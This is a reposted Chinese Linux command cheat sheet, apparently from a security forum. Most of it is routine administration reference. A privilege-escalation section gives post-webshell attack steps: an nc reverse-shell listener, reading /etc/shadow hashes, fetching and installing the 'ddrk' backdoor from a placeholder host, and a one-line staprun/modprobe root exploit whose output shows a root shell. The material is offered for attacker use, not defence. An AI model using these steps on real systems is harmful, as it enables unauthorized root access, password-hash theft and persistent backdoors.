ORACLE linux提权,linux命令常用合集，提权(转)

常用９类命令

文件目录类

1.建立目录：mkdir 目录名

2.删除空目录：rmdir 目录名

3.无条件删除子目录： rm -rf 目录名

4.改变当前目录：cd 目录名 (进入用户home目录：cd ~;进入上一级目录：cd -)

5.查看自己所在目录：pwd

6.查看当前目录大小：du

7.显示目录文件列表：ls -l (-a：增加显示隐含目录)

其中：蓝：目录;绿：可执行文件;红：压缩文件;浅蓝：链接文件;灰：其他文件;红底白字：错误的链接文件

8.浏览文件：more 文件名.txt;less 文件名.txt

9.复制文件： cp 源文件 目标文件 (-r：包含目录)

10.查找文件：(1)find (2)locate 命令名

11.链接：(1)建立hard链接：ln 来源文件 链接文件(-d：创建目录链接)；(2)建立符号链接：ln -s 来源文件 链接文件

二.驱动挂载类

1.检查硬盘使用情况：df -T -h

2.检查磁盘分区：fdisk -l

3.挂载软硬光区：mount -t /dev/fdx|hdax /mnt/目录名

其中：：modos--FAT16;vfat--FAT32;ntfs--NTFS;光驱--iso9660

支持中文名：mount -o iocharset=x /dev/hdax /mnt/目录名(其中：x=cp936或

挂载光驱：mount -t auto /dev/cdrom /mnt/cdrom

挂载ISO文件：mount -t iso9660 -o loop xxx.iso /path

4.解除挂载：umount /mnt/目录名

解除所有挂载：umount -a

5.建立文件系统：mkfs -t /dev/hdxx。其中：ftype：ext2、ext3、swap等

三.程序安装类

1.RPM包安装：(1)安装 rpm -ivh somesoft.rpm

(2)反安装 rpm -e somefost.rpm

(3)查询 rpm -q somefost 或 rpm -qpi somefost.rpm(其中：p未安装;i包含的信息)

(4)查询安装后位置：rpm -ql somefost.rpm

(5)升级安装：rpm -Uvh somesoft.rpm

(6)强制安装：rpm -ivh --nodeps somesoft.rpm 或 rpm -ivh --nodeps --force somesoft.rpm

2.源代码包安装：

查阅README

基本用法 (1)配置：解压目录下 ./configure

(2)编译：解压目录下 make

(3)安装：解压目录下 make install

3.src.rpm的安装

需要用到rpmbuild命令加上--rebuild参数。如 rpmbuild --rebuild ***.src.rpm。然后在/usr/src/下找

3.FC3下iso程序安装：system-config-packages --isodir=iso所在目录

RH下iso程序安装：redhat-config-packages --isodir=iso所在目录

四.压缩解压类

1.tar.gz类：(1)解压：tar -xvzf 文件.tar.gz；(2)tar.gz解至tar：gzip -d 文件.tar.gz(2)压缩：gzip 待压缩文件

2.tar未压缩类：(1)解包：tar -xvf 文件.tar；(2)打包：tar -cvf 文件.tar 文件列表

3.zip类：(1)解压：unzip 文件.zip -d dir；(2)压缩：zip zipfile 待压缩文件列表

4.bz2类：(1)解压：bunzip2 文件.bz2或bzip2 -d 文件.bz2；(2)压缩：bzip2 待压缩文件

5.z类：(1)解压：uncompress 文件.z；(2)压缩：compress 文件

五.进程控制类

1.列出当前进程ID：ps -auxw

2.终止进程：(1)终止单一进程：kill 进程ID号

(2)终止该程序所有进程：Killall 程序名

(3)终止X-Window程序：xkill

3.查看资源占用情况：(1)top (2)free (3)dmesg

4.查看环境变量值：env

5.重启：(1)reboot (2)Ctrl Alt Del (3)init 6

6.关机：(1)shutdown -h now (2)halt (3)init 0

7.切换桌面：switchdesk gnome|KDE|...

六.程序运行类

1.查询命令：whereis 命令名

2.后台运行X-Window程序：程序名&

3.强行退出X-Window程序：Ctrl Alt Backspace

4.查看帮助：

(1)简明帮助：命令名 --help | less

(2)更多帮助：man 命令名

(3)info 命令名

(4)help 命令名

5.查看系统路径：echo $PATH

6.查看当前shell堆栈：echo $SHLVL

7.< / >：输入/输出重定向;|：管道左的输入是管道右输入

六.用户帐号类

1.增加用户帐号：(1)用 户 名：adduser 用户帐号名

(2)设置密码： passwd 用户帐号名

2.删除用户帐号：userdel 用户帐号名

3.增加用户组：groupadd 用户组名

4.删除用户组：groupdel 用户组名

5.暂时终止用户帐号：passwd -l 用户帐号名

6.恢复被终止帐号：passwd -u 用户帐号名

7.权限设定

(1)chmod -a|u|g|o |-|=r|w|x 文件/目录名

其中：a--所有用户(all);u--本用户(user);g--用户组(group);o--其他用户(other users)

--增加权限;---删除权限;=--设置权限

文件：r--只读权限(read);w--写权限(write);x--执行权限(execute)

目录：r--允许列目录下文件和子目录;w--允许生成和删除目录下文件;x--允许访问该目录

(2)chmod xxx 文件/目录名

其中：execute=1;write=2;read=4

x取值：0--没有任何权限(常用);1--只能执行(不常见);2--只能写(不常见);3--只能写和执行(不常见);4--只读(常见);5--只读和执行(常见);6--读和写(常见);7--读.写和执行

七.vi编辑类

1.进入后为命令模式：(1)插入i；(2)打开0；(3)修改c；(4)取代r；(5)替换s

2.经(1)后进入全屏幕编辑模式。

3.命令模式-->编辑模式(a/i)；编辑模式-->命令模式(Esc)；命令模式-->末行模式(：)。

4.：w/w newfile保存

5.：q/q!退出iv；：wq保存退出

八.网络服务

1.显示网络接口参数：ifconfig

2.显示系统邮件：mail

3.启动/终止web服务：httpd -k start|stop|restart

4.查看网络状况：(1)联机状况：ping xxx.xxx.xxx.xxx；

(2)显示网络状况：netstat ，其中：options：-a==所有sockets；-l==包含网络设备；-n==数字IP；

-o==其他信息；-r==路由表；-t==只列TCP sockets；-u==只列UDP sockets；-w==只列raw sockets；

-x==只列Unix Domain sockets

九.其他类

1.显示显卡3D信息：glxinfo和glxgears

提权常用方面

反弹用的

nc -vv -l -p 443 nc端口转发

下载文件

wget 　　　 下载编译文件。

gcc 编译

cd /etc　　　这个就不说了

ls -la　　　　同上

adduser fans (用户名) 加用户

passwd 用户名 密码

cat /etc/shadow 查看文件

chmod 777 文件或目录　　赋权

chmod 777 *

cat /etc/ | grep 关键字

uname -a 版本

sysctl 内核

server 服务器

id 用户组

cat shadow 看hash

pwd 目录

gcc hoolyshit.c -o hoolyshit 编译

webshell后提权方面思路

一。反弹cmdline shell

直接使用webshell中的反弹回来，本地nc监听nc -vlp 12666

二。提权为root

uname -a 查看内核版本 寻找相应的exp提权

三。安装ddrk后门

wget http://www.xx.com/ddrk.tgz

tar zxvf ddrk.tgz

cd ddrk

./setup pass port

一句话提权命令：

[b@fuckks~]$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTI*****="-C exploit.conf" staprun -u whatever

sh-3.2# uname -a

Linux xlsec 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:43 EDT 2010 i686 i686 i386 GNU/Linux

sh-3.2# cat /etc/redhat-release

Red Hat Enterprise Linux Server release 5.5 (Tikanga)

sh-3.2#

系统信息方面

系统

# uname -a # 查看内核/操作系统/CPU信息

# head -n 1 /etc/issue # 查看操作系统版本

# cat /proc/cpuinfo # 查看CPU信息

# hostname # 查看计算机名

# lspci -tv # 列出所有PCI设备

# lsusb -tv # 列出所有USB设备

# lsmod # 列出加载的内核模块

# env # 查看环境变量

资源

# free -m # 查看内存使用量和交换区使用量

# df -h # 查看各分区使用情况

# du -sh # 查看指定目录的大小

# grep MemTotal /proc/meminfo # 查看内存总量

# grep MemFree /proc/meminfo # 查看空闲内存量

# uptime # 查看系统运行时间、用户数、负载

# cat /proc/loadavg # 查看系统负载

磁盘和分区

# mount | column -t # 查看挂接的分区状态

# fdisk -l # 查看所有分区

# swapon -s # 查看所有交换分区

# hdparm -i /dev/hda # 查看磁盘参数(仅适用于IDE设备)

# dmesg | grep IDE # 查看启动时IDE设备检测状况

网络

# ifconfig # 查看所有网络接口的属性

# iptables -L # 查看防火墙设置

# route -n # 查看路由表

# netstat -lntp # 查看所有监听端口

# netstat -antp # 查看所有已经建立的连接

# netstat -s # 查看网络统计信息

进程

# ps -ef # 查看所有进程

# top # 实时显示进程状态

用户

# w # 查看活动用户

# id # 查看指定用户信息

# last # 查看用户登录日志

# cut -d: -f1 /etc/passwd # 查看系统所有用户

# cut -d: -f1 /etc/group # 查看系统所有组

# crontab -l # 查看当前用户的计划任务

服务

# chkconfig --list # 列出所有系统服务

# chkconfig --list | grep on # 列出所有启动的系统服务

程序

# rpm -qa # 查看所有安装的软件包

转自：https://www.t00ls.net/thread-39774-1-1.html